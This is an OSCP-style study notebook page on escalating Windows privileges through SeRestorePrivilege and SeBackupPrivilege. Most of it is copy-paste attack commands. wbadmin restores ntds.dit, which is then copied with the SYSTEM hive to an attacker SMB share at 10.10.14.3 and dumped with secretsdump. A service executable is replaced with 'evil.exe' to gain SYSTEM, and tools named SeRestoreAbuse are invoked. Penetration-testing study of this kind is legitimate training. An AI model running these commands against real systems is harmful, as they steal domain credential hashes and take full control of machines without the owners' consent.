Pearson's OSCP Notebook

SeRestorePrivilege

Properties1
tagsprivilege-escalation, privesc, windows, serestoreprivilege, sebackupprivilege, wbadmin, oscp

3 min read

SeRestorePrivilege — Restore / Write (Backup Operators)

Ctrl+F: SeRestorePrivilege · wbadmin recovery · write abuse · Backup Operators

When you see this:

SeRestorePrivilege            Restore files and directories  Enabled

Backup Operators usually have both SeRestorePrivilege and SeBackupPrivilege.

PrivilegeCapability
SeBackupRead any file — reg save, robocopy /b, shadow copy read
SeRestoreWrite/restore to protected paths — wbadmin recovery, overwrite services

Read files / dump hashes → SeBackupPrivilege (canonical — all methods, copy-paste blocks)

This note covers SeRestore-only actions and wbadmin recovery.

📌 0) Detect

whoami /priv
whoami /groups

If only SeBackup (no Restore): use SeBackupPrivilege — reg save, nxc backup_operator, diskshadow+robocopy still work for read.

If both: full wbadmin path available.

📌 1) wbadmin recovery (needs SeRestore)

Part of SeBackupPrivilege > 📌 6) Method 5 — wbadmin + SMB share (SeBackup + SeRestore) — backup step uses SeBackup; this step uses SeRestore.

After backup to Kali SMB share:

wbadmin get versions
echo Y | wbadmin start recovery -version:10/01/2020-14:23 -itemtype:file -items:C:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Then exfil:

reg save hklm\system system.hive
copy C:\windows\ntds\ntds.dit \\10.10.14.3\smb\NTDS.dit
copy system.hive \\10.10.14.3\smb\system.hive
impacket-secretsdump -system system.hive -ntds NTDS.dit LOCAL

📌 2) Write abuse — service binary overwrite

Restore = write files where normal users cannot. Replace a service executable → restart → SYSTEM.

takeown /f C:\Path\to\service.exe
icacls C:\Path\to\service.exe /grant %username%:F
 
copy C:\Temp\evil.exe C:\Path\to\service.exe
sc stop VulnService
sc start VulnService

Or restore a payload via SeRestore semantics (when DACL allows restore operator).

→ Windows PrivEsc > 📌 4) Service Abuse · icacls

📌 2b) SeRestoreAbuse tools (automated → SYSTEM)

When manual takeown / service overwrite is slow, use dedicated abuse tools:

ToolRepoNotes
Invoke-SeRestoreAbuse0x4D-5A/Invoke-SeRestoreAbusePowerShell — abuse SeRestorePrivilege for privesc
SeRestoreAbusexct/SeRestoreAbuseNative binary — SeRestorePrivilege → SYSTEM
# Invoke-SeRestoreAbuse (PowerShell — import/run from repo)
Import-Module .\Invoke-SeRestoreAbuse.ps1
Invoke-SeRestoreAbuse
REM SeRestoreAbuse.exe (compile or transfer from xct repo)
SeRestoreAbuse.exe

When: whoami /priv shows SeRestorePrivilege Enabled (Backup Operators) and you need fast local SYSTEM without wbadmin.

→ SeBackupPrivilege (read/hash dump) · Windows PrivEsc

📌 3) diskshadow — when access denied

If diskshadow fails on read-only backup script, confirm SeRestore is enabled — some scripts need both privs. Full scripts → diskshadow

All copy/dump commands after shadow mount → SeBackupPrivilege

📌 OSCP checklist

✅ SeRestore enabled? → wbadmin recovery available
✅ Hash dump path → [[SeBackupPrivilege]] first (nxc / diskshadow / DLLs)
✅ Write path → service binary / restore abuse
✅ Both privs? → wbadmin Method 5

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks